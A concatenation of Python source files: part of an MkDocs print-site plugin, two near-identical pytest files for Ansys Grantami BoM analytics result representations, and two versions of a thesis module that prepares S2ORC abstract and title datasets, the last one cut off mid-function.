Add pointer to theme specific css files if self.config.get("include_css"): file = "print-site-%s.css" % get_theme_name(config) if file in os.listdir(os.path.join(HERE, "css")): config["extra_css"] = ["css/%s" % file] + config["extra_css"] else: msg = f"[mkdocs-print-site] Theme '{get_theme_name(config)}' not yet supported\n" msg += "which means print margins and page breaks might be off. Feel free to open an issue!" logger.warning(msg) # Add pointer to print-site css files config["extra_css"] = ["css/print-site.css"] + config["extra_css"] # Enumeration CSS files self.enum_css_files = [] if self.config.get('enumerate_headings'): self.enum_css_files += ["css/print-site-enum-headings1.css"] if self.config.get('enumerate_headings_depth') >= 2: self.enum_css_files += ["css/print-site-enum-headings2.css"] if self.config.get('enumerate_headings_depth') >= 3: self.enum_css_files += ["css/print-site-enum-headings3.css"] if self.config.get('enumerate_headings_depth') >= 4: self.enum_css_files += ["css/print-site-enum-headings4.css"] if self.config.get('enumerate_headings_depth') >= 5: self.enum_css_files += ["css/print-site-enum-headings5.css"] if self.config.get('enumerate_headings_depth') >= 6: self.enum_css_files += ["css/print-site-enum-headings6.css"] config["extra_css"] = self.enum_css_files + config["extra_css"] # Create MkDocs Page and File instances self.print_file = File( path="print_page.md", src_dir="", dest_dir=config["site_dir"], use_directory_urls=config.get("use_directory_urls"), ) self.print_page = Page( title=self.config.get("print_page_title"), file=self.print_file, config=config, ) self.print_page.edit_url = None # Save instance of the print page renderer self.renderer = Renderer( plugin_config=self.config, mkdocs_config=config, cover_page_template_path=self.cover_page_template_path, banner_template_path=self.banner_template_path, print_page=self.print_page, ) # Tracker # to see if context has been extracted from # template context self.context = {} return config def on_nav(self, nav, config, files, **kwargs): """ The nav event is called after the site navigation is created. Can be used to alter the site navigation. See https://www.mkdocs.org/user-guide/plugins/#on_nav. """ if not self.config.get("enabled"): return nav # Save the (order of) pages and sections in the navigation before adding the print page self.renderer.items = nav.items self.all_pages_in_nav = flatten_nav(nav.items) # Optionally add the print page to the site navigation if self.config.get("add_to_navigation"): nav.items.append(self.print_page) nav.pages.append(self.print_page) return nav def on_page_content(self, html, page, config, files, **kwargs): """ The page_content event is called after the Markdown text is rendered to HTML. (but before being passed to a template) and can be used to alter the HTML body of the page. See https://www.mkdocs.org/user-guide/plugins/#on_page_content. """ if not self.config.get("enabled"): return html # Save each page HTML *before* a template is applied inside the page class if page != self.print_page: page.html = html # We need to validate that the first heading on each page is a h1 # This is required for the print page table of contents and enumeration logic if self.config.get("add_table_of_contents") or self.config.get( "enumerate_headings" ): if page in self.all_pages_in_nav: match = re.search(r"\<h[0-6]", html) if match: if not match.group() == "<h1": msg = f"The page {page.title} ({page.file.src_path}) does not start with a level 1 heading." msg += "This is required for print page Table of Contents and/or enumeration of headings." raise AssertionError(msg) # Link to the PDF version of the entire site on a page. if self.config.get("path_to_pdf") != "": page.url_to_pdf = get_relative_url( self.config.get("path_to_pdf"), page.file.url ) return html def on_page_context(self, context, page, config, nav, **kwargs): """ The page_context event is called after the context for a page is created. It can be used to alter the context for that specific page only. See https://www.mkdocs.org/user-guide/plugins/#on_page_context. """ if not self.config.get("enabled"): return # Save relative link to print page # This can be used to customize a theme and add a print button to each page page.url_to_print_page = self.print_file.url_relative_to(page.file) def on_template_context(self, context, template_name, config, **kwargs): """ The template_context event is called immediately after the context is created for the subject template and can be used to alter the context for that specific template only. See https://www.mkdocs.org/dev-guide/plugins/#on_template_context """ if not self.config.get("enabled"): return # Save the page context # We'll use the same context of the last rendered page # And apply it to the print page as well (in on_post_build event) # Note a theme can have multiple templates # Found a bug where in the mkdocs theme, # the "sitemap.xml" static template # has incorrect 'extra_css' and 'extra_js' paths # leading to breaking the print page # at random (when sitemap.xml was rendered last) # we're assuming here all templates have a 404.html template # print(f"\nName: {template_name}\nContext: {context.get('extra_css')}") if template_name == "404.html": self.context = context # Make sure paths are OK if config.get('extra_css'): self.context['extra_css'] = [get_relative_url(f, self.print_page.file.url) for f in config.get('extra_css')] if config.get('extra_javascript'): self.context['extra_javascript'] = [get_relative_url(f, self.print_page.file.url) for f in config.get('extra_javascript')] def on_post_build(self, config, **kwargs): """ The post_build event does not alter any variables. Use this event to call post-build scripts. See https://www.mkdocs.org/user-guide/plugins/#on_post_build. """ if not self.config.get("enabled"): return if len(self.context) == 0: msg = "Could not find a template context.\n" msg += "Report an issue at https://github.com/timvink/mkdocs-print-site-plugin\n" msg += f"And mention the template you're using: {get_theme_name(config)}" raise PluginError(msg) # Add print-site.js js_output_base_path = os.path.join(config["site_dir"], "js") js_file_path = os.path.join(js_output_base_path, "print-site.js") copy_file(os.path.join(os.path.join(HERE, "js"), "print-site.js"), js_file_path) if self.config.get("include_css"): # Add print-site.css css_output_base_path = os.path.join(config["site_dir"], "css") css_file_path = os.path.join(css_output_base_path, "print-site.css") copy_file( os.path.join(os.path.join(HERE, "css"), "print-site.css"), css_file_path ) # Add enumeration css for f in self.enum_css_files: f = f.replace("/", os.sep) css_file_path = os.path.join(config["site_dir"], f) copy_file( os.path.join(HERE, f), css_file_path ) # Add theme CSS file css_file = "print-site-%s.css" % get_theme_name(config) if css_file in os.listdir(os.path.join(HERE, "css")): css_file_path = os.path.join(css_output_base_path, css_file) copy_file( os.path.join(os.path.join(HERE, "css"), css_file), css_file_path ) # Combine the HTML of all pages present in the navigation self.print_page.content = self.renderer.write_combined() # Generate a TOC sidebar for HTML version of print page self.print_page.toc = self.renderer.get_toc_sidebar() # Get the info for MkDocs to be able to apply a theme template on our print page env = config["theme"].get_env() # env.list_templates() template = env.get_template("main.html") self.context["page"] = self.print_page # Render the theme template for the print page html = template.render(self.context) # Remove lazy loading attributes from images # https://regex101.com/r/HVpKPs/1 html = re.sub(r"(\<img.+)(loading=\"lazy\")", r"\1", html) # Compatiblity with mkdocs-chart-plugin # As this plugin adds some javascript to every page # It should be included in the print site also if config.get("plugins", {}).get("charts"): html = ( config.get("plugins", {}) .get("charts") .add_javascript_variables(html, self.print_page, config) ) # Compatibility with https://github.com/g-provost/lightgallery-markdown # This plugin insert link hrefs with double dashes, f.e. # <link href="//assets/css/somecss.css"> # Details https://github.com/timvink/mkdocs-print-site-plugin/issues/68 htmls = html.split("</head>") base_url = "../" if config.get("use_directory_urls") else "" htmls[0] = htmls[0].replace("href=\"//", f"href=\"{base_url}") htmls[0] = htmls[0].replace("src=\"//", f"src=\"{base_url}") html = "</head>".join(htmls) # Determine calls to required javascript functions js_calls = "remove_material_navigation();" js_calls += "remove_mkdocs_theme_navigation();" if self.config.get("add_table_of_contents"): js_calls += "generate_toc();" # Inject JS into print page print_site_js = ( """ <script type="text/javascript"> document.addEventListener('DOMContentLoaded', function () { %s }) </script> """ % js_calls ) html = html.replace("</head>", print_site_js + "</head>") # Write the print_page file to the output folder write_file( html.encode("utf-8", errors="xmlcharrefreplace"), self.print_page.file.abs_dest_path, )
import pytest from dataclasses import dataclass from ansys.grantami.bomanalytics_openapi import models from ansys.grantami.bomanalytics._item_definitions import ReferenceType from ansys.grantami.bomanalytics._item_results import ImpactedSubstance, ItemResultFactory from .common import INDICATORS @dataclass class RecordSubstanceResultMock: reference_type: str reference_value: str legislations: list @dataclass class BomSubstanceResultMock: legislations: list @dataclass class ComplianceResultMock: reference_type: str reference_value: str indicators: list impacted_substance_1 = models.CommonImpactedSubstance( substance_name="Substance1", cas_number="123-456", ec_number="654-321", max_percentage_amount_in_material=50, legislation_threshold=25, ) impacted_substance_2 = models.CommonImpactedSubstance( substance_name="Substance2", cas_number="456-789", ec_number="987-654" ) sin_list_result = models.CommonLegislationWithImpactedSubstances( legislation_name="The SIN List 2.1 (Substitute It Now!)", impacted_substances=[impacted_substance_1] ) ccc_result = models.CommonLegislationWithImpactedSubstances( legislation_name="Canadian Chemical Challenge", impacted_substances=[impacted_substance_1, impacted_substance_2] ) legislation_results = [sin_list_result, ccc_result] one_legislation_result = models.CommonIndicatorResult(name="One legislation", flag="RohsNotImpacted") two_legislation_result = models.CommonIndicatorResult(name="Two legislations", flag="WatchListNotImpacted") def test_impacted_substance_repr(): impacted_substance = ImpactedSubstance( reference_type=ReferenceType.CasNumber, reference_value="123-456-789", max_percentage_amount_in_material=50, legislation_threshold=12, ) assert repr(impacted_substance) == f'<ImpactedSubstance: {{'cas_number': '123-456-789', 'percent_amount': 50}}>' @pytest.mark.parametrize( "result_type", ["MaterialWithImpactedSubstances", "PartWithImpactedSubstances", "SpecificationWithImpactedSubstances"], ) def test_impacted_substances_item_repr(result_type): query_result = RecordSubstanceResultMock( reference_type="MiRecordGuid", reference_value="TEST_GUID", legislations=legislation_results ) result = ItemResultFactory.create_impacted_substances_result(result_type, query_result) assert ( repr(result) == f"<{result_type}Result({{'reference_type': 'MiRecordGuid', " f"'reference_value': 'TEST_GUID'}}), {len(legislation_results)} legislations>" ) assert ( repr(result.substances) == '[<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "456-789", "percent_amount": None}>]' ) for legislation in legislation_results: assert legislation.legislation_name in repr(result.substances_by_legislation) assert "ImpactedSubstance" in repr(result.substances_by_legislation) def test_impacted_substances_bom_repr(): query_result = BomSubstanceResultMock(legislations=legislation_results) result = ItemResultFactory.create_impacted_substances_result("BomWithImpactedSubstances", query_result) assert repr(result) == f"<BoM1711WithImpactedSubstancesResult(), {len(legislation_results)} legislations>" assert ( repr(result.substances) == '[<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "456-789", "percent_amount": None}>]' ) for legislation in legislation_results: assert legislation.legislation_name in repr(result.substances_by_legislation) assert "ImpactedSubstance" in repr(result.substances_by_legislation) @pytest.mark.parametrize( "result_type", [ "PartWithCompliance", "MaterialWithCompliance", "SpecificationWithCompliance", "SubstanceWithCompliance", "CoatingWithCompliance", ], ) def test_compliance_item_repr(result_type): indicator_results = [two_legislation_result, one_legislation_result] query_result = ComplianceResultMock( reference_type="MiRecordGuid", reference_value="TEST_GUID", indicators=indicator_results ) result = ItemResultFactory.create_compliance_result(result_type, query_result, INDICATORS) assert ( repr(result) == f"<{result_type}Result({{'reference_type': 'MiRecordGuid', " f"'reference_value': 'TEST_GUID'}}), {len(indicator_results)} indicators>" )
import pytest from dataclasses import dataclass from ansys.grantami.bomanalytics_openapi import models from ansys.grantami.bomanalytics._item_definitions import ReferenceType from ansys.grantami.bomanalytics._item_results import ImpactedSubstance, ItemResultFactory from .common import INDICATORS @dataclass class RecordSubstanceResultMock: reference_type: str reference_value: str legislations: list @dataclass class BomSubstanceResultMock: legislations: list @dataclass class ComplianceResultMock: reference_type: str reference_value: str indicators: list impacted_substance_1 = models.CommonImpactedSubstance( substance_name="Substance1", cas_number="123-456", ec_number="654-321", max_percentage_amount_in_material=50, legislation_threshold=25, ) impacted_substance_2 = models.CommonImpactedSubstance( substance_name="Substance2", cas_number="456-789", ec_number="987-654" ) sin_list_result = models.CommonLegislationWithImpactedSubstances( legislation_name="The SIN List 2.1 (Substitute It Now!)", impacted_substances=[impacted_substance_1] ) ccc_result = models.CommonLegislationWithImpactedSubstances( legislation_name="Canadian Chemical Challenge", impacted_substances=[impacted_substance_1, impacted_substance_2] ) legislation_results = [sin_list_result, ccc_result] one_legislation_result = models.CommonIndicatorResult(name="One legislation", flag="RohsNotImpacted") two_legislation_result = models.CommonIndicatorResult(name="Two legislations", flag="WatchListNotImpacted") def test_impacted_substance_repr(): impacted_substance = ImpactedSubstance( reference_type=ReferenceType.CasNumber, reference_value="123-456-789", max_percentage_amount_in_material=50, legislation_threshold=12, ) assert repr(impacted_substance) == f'<ImpactedSubstance: {{"cas_number": "123-456-789", "percent_amount": 50}}>' @pytest.mark.parametrize( "result_type", ["MaterialWithImpactedSubstances", "PartWithImpactedSubstances", "SpecificationWithImpactedSubstances"], ) def test_impacted_substances_item_repr(result_type): query_result = RecordSubstanceResultMock( reference_type="MiRecordGuid", reference_value="TEST_GUID", legislations=legislation_results ) result = ItemResultFactory.create_impacted_substances_result(result_type, query_result) assert ( repr(result) == f"<{result_type}Result({{'reference_type': 'MiRecordGuid', " f"'reference_value': 'TEST_GUID'}}), {len(legislation_results)} legislations>" ) assert ( repr(result.substances) == '[<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "456-789", "percent_amount": None}>]' ) for legislation in legislation_results: assert legislation.legislation_name in repr(result.substances_by_legislation) assert "ImpactedSubstance" in repr(result.substances_by_legislation) def test_impacted_substances_bom_repr(): query_result = BomSubstanceResultMock(legislations=legislation_results) result = ItemResultFactory.create_impacted_substances_result("BomWithImpactedSubstances", query_result) assert repr(result) == f"<BoM1711WithImpactedSubstancesResult(), {len(legislation_results)} legislations>" assert ( repr(result.substances) == '[<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "123-456", "percent_amount": 50}>, ' '<ImpactedSubstance: {"cas_number": "456-789", "percent_amount": None}>]' ) for legislation in legislation_results: assert legislation.legislation_name in repr(result.substances_by_legislation) assert "ImpactedSubstance" in repr(result.substances_by_legislation) @pytest.mark.parametrize( "result_type", [ "PartWithCompliance", "MaterialWithCompliance", "SpecificationWithCompliance", "SubstanceWithCompliance", "CoatingWithCompliance", ], ) def test_compliance_item_repr(result_type): indicator_results = [two_legislation_result, one_legislation_result] query_result = ComplianceResultMock( reference_type="MiRecordGuid", reference_value="TEST_GUID", indicators=indicator_results ) result = ItemResultFactory.create_compliance_result(result_type, query_result, INDICATORS) assert ( repr(result) == f"<{result_type}Result({{'reference_type': 'MiRecordGuid', " f"'reference_value': 'TEST_GUID'}}), {len(indicator_results)} indicators>" )
import pandas as pd # typing from typing import Dict, List, Union # 🤗 Transformers from transformers import PreTrainedTokenizer # 🤗 Datasets from datasets import DatasetDict, Dataset as hfDataset # torch from torch.utils.data import Dataset, DataLoader import time import numpy as np from thesis.datasets.s2orc.mag_field import mag_field_dict from thesis.config.base import fingerprints, Config from thesis.config.datasets import S2orcConfig from thesis.config.execution import RunConfig, LogConfig from thesis.utils.cache import no_caching, _caching import logging def key_value_sort(dictionary: Dict) -> List: return sorted([[k, v] for k, v in dictionary.items()]) def fuse_dictionaries( single_chunk: dict, data_field: List[str], log_config: LogConfig ) -> Dataset: # definition of **single_chunk** # {'metadata': [], 'pdf_parses': [], 'meta_key_idx': {}, 'pdf_key_idx': {}} @_caching( key_value_sort(single_chunk["meta_key_idx"]), key_value_sort(single_chunk["pdf_key_idx"]), data_field, function_name='fuse_dictionaries' ) def _fuse_dictionaries( single_chunk: dict, data_field: List[str], log_config: LogConfig ) -> Dataset: if log_config.verbose: logging.info( f"[INFO] len meta single_chunk: {len(single_chunk["metadata"])}") if log_config.verbose: logging.info( f"[INFO] len pdfs single_chunk: {len(single_chunk["pdf_parses"])}") paper_list = [] for key in single_chunk["meta_key_idx"]: if log_config.debug: logging.info( f"[INFO] Analyse metadata dictionary for paper {key}") # get metadata dictionary for paper with paper_id: key meta_index = single_chunk["meta_key_idx"].get(key, None) if log_config.debug: logging.info(f" meta_index: {meta_index}") metadata = ( single_chunk["metadata"][meta_index] if meta_index is not None else dict() ) if log_config.debug: logging.info( f"[INFO] Analyse pdf_parses dictionary for paper {key}") # get pdf_parses dictionary for paper with paper_id: key pdf_index = single_chunk["pdf_key_idx"].get(key, None) if log_config.debug: logging.info(f" pdf_index: {pdf_index}") pdf_parses = ( single_chunk["pdf_parses"][pdf_index] if pdf_index is not None else dict() ) def not_None(element): """ Here we see if the element is None, '' or [] considering it to be Falsy type, in python. """ if element == None: return False elif type(element) == str and element is "": return False elif type(element) == list and element is []: return False return True def fuse_field(meta_field, pdf_field): """ With inspiration from https://docs.python.org/3/library/stdtypes.html#truth-value-testing both '' and `None` seems to be Falsy type, in python. """ class s2orcBaseElement: """ 'section': str, 'text': str, 'cite_spans': list, 'ref_spans': list """ def __init__(self, dictionary): self.section: str = dictionary["section"] self.text: str = dictionary["text"] self.cite_spans: list = dictionary["cite_spans"] self.ref_spans: list = dictionary["ref_spans"] def get_text(self): return self.text if type(pdf_field) == list: pdf_field = " ".join( [s2orcBaseElement(elem).get_text() for elem in pdf_field] ) return meta_field if not_None(meta_field) else pdf_field if log_config.debug: logging.info(f"[INFO] Start fusion for paper {key}") paper = dict() for field in data_field: if log_config.debug: logging.info( f"[INFO] Fusing field {field} for meta ({metadata.get(field, None)}) and pdf_parses ({pdf_parses.get(field, None)})" ) paper[field] = fuse_field( metadata.get(field, None), pdf_parses.get(field, None) ) paper_list.append(paper) if log_config.debug: logging.info(f"[INFO] Deleting meta and pdf for paper {key}") #  if meta_index is not None: del single_chunk['metadata'][meta_index] # if pdf_index is not None: del single_chunk['pdf_parses'][pdf_index] # Dataset.from_pandas(my_dict) could be a good try if we only convert our paper_list to Pandas Dataframes paper_df = pd.DataFrame(paper_list) return hfDataset.from_pandas(paper_df) dataset = _fuse_dictionaries(single_chunk, data_field, log_config) return dataset def get_dataset( single_chunk: dict, dataset_config: S2orcConfig, run_config: RunConfig, log_config: LogConfig, data_field: List[str] = ["title", "abstract"], ) -> Dict[str, DataLoader]: """Given an input file, prepare the train, test, validation dataloaders. :param single_chunk: `SingleChunk`, input file related to one chunk (format list) :param dataset_config: `S2orcConfig`, pretrained tokenizer that will prepare the data, i.e. convert tokens into IDs :param run_config: `RunConfig`, if set, seed for split train/val/test :param log_config: `LogConfig`, batch size for the dataloaders :param data_field: `List[str] `, number of CPU workers to use during dataloading. On Windows this must be zero :return: a dictionary containing train, test, validation dataloaders """ # **(dataset_config.get_fingerprint()), **(run_config.get_fingerprint()), **(log_config.get_fingerprint()) @_caching( key_value_sort(single_chunk["meta_key_idx"]), key_value_sort(single_chunk["pdf_key_idx"]), **fingerprints(dataset_config, run_config, log_config), function_name="get_dataset", ) def _get_dataset( single_chunk: dict, dataset_config: S2orcConfig, run_config: RunConfig, log_config: LogConfig, data_field: List[str], ) -> DatasetDict: ## ------------------ ## ## -- LOAD DATASET -- ## ## ------------------ ## if log_config.time: start = time.time() if log_config.time: start_load = time.time() # execution dataset_dict = fuse_dictionaries(single_chunk, data_field, log_config) #  logging.info(dataset_dict) if log_config.debug: logging.info(dataset_dict) if log_config.time: end_load = time.time() if log_config.time: logging.info(f"[TIME] load_dataset: {end_load - start_load}") ## ------------------ ## ## ---- MANAGING ---- ## ## ------------------ ## if log_config.time: start_selection = time.time() # execution dataset = dataset_dict # ['train'] if log_config.time: end_selection = time.time() if log_config.time: logging.info( f"[TIME] dataset_train selection: {end_selection - start_selection}") if log_config.debug: logging.info(dataset) ## ------------------ ## ## --- REMOVE none -- ## ## ------------------ ## if log_config.time: start_removing = time.time() # clean input removing papers with **None** as abstract/title if not dataset_config.keep_none_papers: ## --------------------- ## ## --- REMOVE.indexes -- ## ## --------------------- ## if log_config.time: start_removing_indexes = time.time() if log_config.debug: logging.info(data_field) # execution none_papers_indexes = {} for field in data_field: none_indexes = [ idx_s for idx_s, s in enumerate(dataset[f"{field}"]) if s is None ] none_papers_indexes = { **none_papers_indexes, **dict.fromkeys(none_indexes, False), } if log_config.time: end_removing_indexes = time.time() if log_config.time: logging.info( f"[TIME] remove.indexes: {end_removing_indexes - start_removing_indexes}" ) if log_config.debug: logging.info(none_papers_indexes) ## --------------------- ## ## --- REMOVE.concat --- ## ## --------------------- ## if log_config.time: start_removing_concat = time.time() # execution to_remove_indexes = list(none_papers_indexes.keys()) if log_config.time: end_removing_concat = time.time() if log_config.time: logging.info( f"[TIME] remove.concat: {end_removing_concat - start_removing_concat}" ) if log_config.debug: logging.info(to_remove_indexes) if log_config.debug: logging.info([dataset["abstract"][i] for i in to_remove_indexes]) ## --------------------- ## ## --- REMOVE.filter --- ## ## --------------------- ## if log_config.time: start_removing_filter = time.time() # execution dataset = dataset.filter( (lambda x, ids: none_papers_indexes.get(ids, True)), with_indices=True ) if log_config.time: end_removing_filter = time.time() if log_config.time: logging.info( f"[TIME] remove.filter: {end_removing_filter - start_removing_filter}" ) if log_config.debug: logging.info(dataset) if log_config.time: end_removing = time.time() if log_config.time: logging.info( f"[TIME] remove None fields: {end_removing - start_removing}") ## --------------------- ## ## --- REMOVE.column --- ## ## --------------------- ## if log_config.time: start_remove_unused_columns = time.time() if not dataset_config.keep_unused_columns: for column in dataset.column_names: if column not in data_field: if log_config.debug: logging.info(f"{column}") dataset.remove_columns_(column) if log_config.time: end_remove_unused_columns = time.time() if log_config.time: logging.info( f"[TIME] remove.column: {end_remove_unused_columns - start_remove_unused_columns}" ) ## ------------------ ## ## --- SPLIT 1. -- ## ## ------------------ ## if log_config.time: start_first_split = time.time() # 80% (train), 20% (test + validation) # execution train_testvalid = dataset.train_test_split( test_size=0.2, seed=run_config.seed) if log_config.time: end_first_split = time.time() if log_config.time: logging.info( f"[TIME] first [train-(test-val)] split: {end_first_split - start_first_split}" ) ## ------------------ ## ## --- SPLIT 2. -- ## ## ------------------ ## if log_config.time: start_second_split = time.time() # 10% of total (test), 10% of total (validation) # execution test_valid = train_testvalid["test"].train_test_split( test_size=0.5, seed=run_config.seed ) if log_config.time: end_second_split = time.time() if log_config.time: logging.info( f"[TIME] second [test-val] split: {end_second_split - start_second_split}" ) # execution dataset = DatasetDict( { "train": train_testvalid["train"], "test": test_valid["test"], "valid": test_valid["train"], } ) if log_config.time: end = time.time() if log_config.time: logging.info(f"[TIME] TOTAL: {end - start}") return dataset dataset = _get_dataset( single_chunk, dataset_config, run_config, log_config, data_field ) return dataset def data_target_preprocess( *sentences_by_column, data, target, classes, max_seq_length, tokenizer, debug=False, print_all_debug=False, time_debug=False, print_some_debug=False, **kwargs, ): # -> Dict[str, Union[list, Tensor]]: """Preprocess the raw input sentences from the text file. :param sentences: a list of sentences (strings) :return: a dictionary of "input_ids" """ if debug: logging.info( f"[INFO-START] Preprocess on data: {data}, target: {target}") assert data == ["abstract"], "data should be ['abstract']" if debug: logging.info(data) assert target == ["title"], "target should be ['title']" if debug: logging.info(target) data_columns_len = len(data) target_columns_len = len(target) columns_len = data_columns_len + target_columns_len assert data_columns_len == 1, "data length should be 1" if debug: logging.info(data_columns_len) assert target_columns_len == 1, "target length should be 1" if debug: logging.info(target_columns_len) sentences_by_column = np.asarray(sentences_by_column) input_columns_len = len(sentences_by_column) if debug: logging.info( f"all sentences (len {input_columns_len}): {sentences_by_column}") if target_columns_len == 0: raise NameError( "No target variable selected, \ are you sure you don't want any target?" ) data_sentences = sentences_by_column[0] target_sentences = sentences_by_column[ 1 ] # if columns_len == input_columns_len else sentences_by_column[data_columns_len:-1] if debug: logging.info(data_sentences) if debug: logging.info(target_sentences) # The sequences are not padded here. we leave that to the dataloader in a collate_fn # ----------------------------------------------- # # -------- TODO include the `collate_fn` -------- # # ----------------------------------------------- # # That means: a bit slower processing, but a smaller saved dataset size if print_some_debug: logging.info(max_seq_length) data_encoded_d = tokenizer( text=data_sentences.tolist(), # add_special_tokens=False, # is_pretokenized=True, padding=True, truncation=True, max_length=max_seq_length, return_token_type_ids=False, return_attention_mask=False, # We use this option because DataCollatorForLanguageModeling (see below) is more efficient when it # receives the `special_tokens_mask`. return_special_tokens_mask=True, return_tensors="np", ) target_encoded_d = tokenizer( text=target_sentences.tolist(), # add_special_tokens=False, #  is_pretokenized=True, padding=True, truncation=True, max_length=max_seq_length, return_token_type_ids=False, return_attention_mask=False, # We use this option because DataCollatorForLanguageModeling (see below) is more efficient when it # receives the `special_tokens_mask`. return_special_tokens_mask=True, return_tensors="np", ) if debug: logging.info(data_encoded_d["input_ids"].shape) if debug: logging.info(target_encoded_d["input_ids"].shape) # return encoded_d return { "data_input_ids": data_encoded_d["input_ids"], "target_input_ids": target_encoded_d["input_ids"], } def mag_preprocess(*mags): """Preprocess the raw input sentences from the text file. :param sentences: a list of sentences (strings) :return: a dictionary of "input_ids" """ debug = False if debug: logging.info(f"[INFO-START] Mag Preprocess") mag_field = np.array(mags) input_columns_len = mag_field.shape if debug: logging.info(f"pre flatten (len {input_columns_len}): {mag_field}") if debug: logging.info(f"pre types: {[type(ele) for ele in mag_field]}") if debug: logging.info(f"pre types: {type(mag_field)}") mag_field = mag_field.flatten() input_columns_len = mag_field.shape if debug: logging.info(f"after flatten (len {input_columns_len}): {mag_field}") if debug: logging.info(f"after types: {[type(ele) for ele in mag_field]}") if debug: logging.info(f"after types: {type(mag_field)}") mag_field = np.array( [ele if type(ele) == str else list(ele)[0] for ele in mag_field] ) if input_columns_len == 0: raise NameError( "No mag variable selected, \ are you sure you don't want any target?" ) if debug: logging.info(mag_field) if debug: logging.info(mag_field_dict) if debug: logging.info( [ mag_field_dict.get(real_mag_field_value, 3) for real_mag_field_value in mag_field ] ) mag_index = np.asarray( [ mag_field_dict.get(real_mag_field_value, 3) for real_mag_field_value in mag_field ] ) if debug: logging.info(mag_index) return {"mag_index": mag_index} def preprocessing( all_datasets, dictionary_input, dictionary_columns, tokenizer, model, *args, **kwargs, ): # model -> max_seq_length """ Args: - `all_datasets`: DatasetDict element divided into 'train', 'test', 'valid'. - `dictionary_input`: dict element with fields 'data', 'target' and 'classes'. - `dictionary_columns`: list of values of the `dictionary_input` dict. - `tokenizer`: tokenizer used for tokenize words. - `model`: model used to get 'max_position_embeddings' value. - `*args`: some extra params not used - `**kwargs`: some extra dictionary params not used """ all_datasets_map = all_datasets.map( data_target_preprocess, input_columns=dictionary_columns, fn_kwargs={ **dictionary_input, "max_seq_length": model.config.max_position_embeddings, "tokenizer": tokenizer, }, batched=True, ) all_dataset_mag_map = all_datasets_map.map( mag_preprocess, input_columns=dictionary_input["classes"], batched=True ) return all_dataset_mag_map
import pandas as pd # typing from typing import Dict, List, Union # 🤗 Transformers from transformers import PreTrainedTokenizer # 🤗 Datasets from datasets import DatasetDict, Dataset as hfDataset # torch from torch.utils.data import Dataset, DataLoader import time import numpy as np from thesis.datasets.s2orc.mag_field import mag_field_dict from thesis.config.base import fingerprints, Config from thesis.config.datasets import S2orcConfig from thesis.config.execution import RunConfig, LogConfig from thesis.utils.cache import no_caching, _caching import logging def key_value_sort(dictionary: Dict) -> List: return sorted([[k, v] for k, v in dictionary.items()]) def fuse_dictionaries( single_chunk: dict, data_field: List[str], log_config: LogConfig ) -> Dataset: # definition of **single_chunk** # {'metadata': [], 'pdf_parses': [], 'meta_key_idx': {}, 'pdf_key_idx': {}} @_caching( key_value_sort(single_chunk["meta_key_idx"]), key_value_sort(single_chunk["pdf_key_idx"]), data_field, function_name='fuse_dictionaries' ) def _fuse_dictionaries( single_chunk: dict, data_field: List[str], log_config: LogConfig ) -> Dataset: if log_config.verbose: logging.info( f"[INFO] len meta single_chunk: {len(single_chunk['metadata'])}") if log_config.verbose: logging.info( f"[INFO] len pdfs single_chunk: {len(single_chunk['pdf_parses'])}") paper_list = [] for key in single_chunk["meta_key_idx"]: if log_config.debug: logging.info( f"[INFO] Analyse metadata dictionary for paper {key}") # get metadata dictionary for paper with paper_id: key meta_index = single_chunk["meta_key_idx"].get(key, None) if log_config.debug: logging.info(f" meta_index: {meta_index}") metadata = ( single_chunk["metadata"][meta_index] if meta_index is not None else dict() ) if log_config.debug: logging.info( f"[INFO] Analyse pdf_parses dictionary for paper {key}") # get pdf_parses dictionary for paper with paper_id: key pdf_index = single_chunk["pdf_key_idx"].get(key, None) if log_config.debug: logging.info(f" pdf_index: {pdf_index}") pdf_parses = ( single_chunk["pdf_parses"][pdf_index] if pdf_index is not None else dict() ) def not_None(element): """ Here we see if the element is None, '' or [] considering it to be Falsy type, in python. """ if element == None: return False elif type(element) == str and element is "": return False elif type(element) == list and element is []: return False return True def fuse_field(meta_field, pdf_field): """ With inspiration from https://docs.python.org/3/library/stdtypes.html#truth-value-testing both '' and `None` seems to be Falsy type, in python. """ class s2orcBaseElement: """ 'section': str, 'text': str, 'cite_spans': list, 'ref_spans': list """ def __init__(self, dictionary): self.section: str = dictionary["section"] self.text: str = dictionary["text"] self.cite_spans: list = dictionary["cite_spans"] self.ref_spans: list = dictionary["ref_spans"] def get_text(self): return self.text if type(pdf_field) == list: pdf_field = " ".join( [s2orcBaseElement(elem).get_text() for elem in pdf_field] ) return meta_field if not_None(meta_field) else pdf_field if log_config.debug: logging.info(f"[INFO] Start fusion for paper {key}") paper = dict() for field in data_field: if log_config.debug: logging.info( f"[INFO] Fusing field {field} for meta ({metadata.get(field, None)}) and pdf_parses ({pdf_parses.get(field, None)})" ) paper[field] = fuse_field( metadata.get(field, None), pdf_parses.get(field, None) ) paper_list.append(paper) if log_config.debug: logging.info(f"[INFO] Deleting meta and pdf for paper {key}") #  if meta_index is not None: del single_chunk['metadata'][meta_index] # if pdf_index is not None: del single_chunk['pdf_parses'][pdf_index] # Dataset.from_pandas(my_dict) could be a good try if we only convert our paper_list to Pandas Dataframes paper_df = pd.DataFrame(paper_list) return hfDataset.from_pandas(paper_df) dataset = _fuse_dictionaries(single_chunk, data_field, log_config) return dataset def get_dataset( single_chunk: dict, dataset_config: S2orcConfig, run_config: RunConfig, log_config: LogConfig, data_field: List[str] = ["title", "abstract"], ) -> Dict[str, DataLoader]: """Given an input file, prepare the train, test, validation dataloaders. :param single_chunk: `SingleChunk`, input file related to one chunk (format list) :param dataset_config: `S2orcConfig`, pretrained tokenizer that will prepare the data, i.e. convert tokens into IDs :param run_config: `RunConfig`, if set, seed for split train/val/test :param log_config: `LogConfig`, batch size for the dataloaders :param data_field: `List[str] `, number of CPU workers to use during dataloading. On Windows this must be zero :return: a dictionary containing train, test, validation dataloaders """ # **(dataset_config.get_fingerprint()), **(run_config.get_fingerprint()), 